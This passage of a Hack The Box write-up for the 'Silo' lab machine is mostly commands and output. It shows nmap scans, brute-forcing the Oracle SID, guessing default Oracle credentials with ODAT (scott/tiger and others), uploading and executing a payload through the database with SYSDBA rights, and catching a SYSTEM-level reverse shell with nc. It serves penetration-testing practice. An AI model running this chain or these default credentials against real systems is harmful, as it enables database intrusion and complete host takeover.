I did this with nmap ( see Enumeration above) but it can also be done with ODAT
Brute Forcing Creds
The GitHub repo has some default username and passwords files under a directory named accounts. The default file is accounts/accounts.txt
ODAT found: scott/tiger
Because I don't know much about oracle databases, I googled the term "Kali Linux enumerate oracle databases" and I was able to find this link which shows the default usernames and passwords on oracle databases.
nmap -sC -sV -p- -oA nmap/Silo 10.10.10.82
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-10 18:19 EDT
Nmap scan report for 10.10.10.82
Host is up (0.13s latency).
Not shown: 65520 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: IIS Windows Server
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49160/tcp open oracle-tns Oracle TNS listener (requires service name)
49161/tcp open msrpc Microsoft Windows RPC
49162/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2m25s, deviation: 0s, median: 2m25s
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: supported
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-03-10T23:17:51
|_ start_date: 2020-03-10T22:20:22
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3377.71 seconds
nmap --script oracle-* 10.10.10.82 -p 1521
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-10 21:44 EDT
Nmap scan report for silo (10.10.10.82)
Host is up (0.10s latency).
PORT STATE SERVICE
1521/tcp open oracle
| oracle-sid-brute:
|_ XE
Nmap done: 1 IP address (1 host up) scanned in 235.94 seconds
python3 odat.py passwordguesser -s 10.10.10.82 -d XE
odat.py:52: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
[1] (10.10.10.82:1521): Searching valid accounts on the 10.10.10.82Â server, port 1521
[+] Valid credentials found: scott/tiger. Continue...
100% |#######################################################################################################################################################################| Time: 00:17:00
[+] Accounts found on 10.10.10.82:1521/XE:
scott/tiger
# username and passwords from the website I found.
dbsnmp/dbsnmp
sys/change_on_install
pcms_sys/pcms_sys
wmsys/wmsys
outln/outln
scott/tiger
# odat utlfile -s 10.10.10.82 -U scott -P tiger -d XE --sysdba --putFile "C:\Temp" shellie.exe /root/HackTheBox/Silo/files/shellie.exe
[1] (10.10.10.82:1521): Put the /root/HackTheBox/Silo/files/shellie.exe local file in the C:\Temp folder like shellie.exe on the 10.10.10.82 server
[+] The /root/HackTheBox/Silo/files/shellie.exe file was created on the C:\Temp directory on the 10.10.10.82 server like the shellie.exe file
# odat externaltable -s 10.10.10.82 -U scott -P tiger -d XE --sysdba --exec "C:\Temp" shellie.exe
[1] (10.10.10.82:1521): Execute the shellie.exe command stored in the C:\Temp path
# rlwrap nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.82] 49163
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\oraclexe\app\oracle\product\11.2.0\server\DATABASE>whoami
whoami
nt authority\system
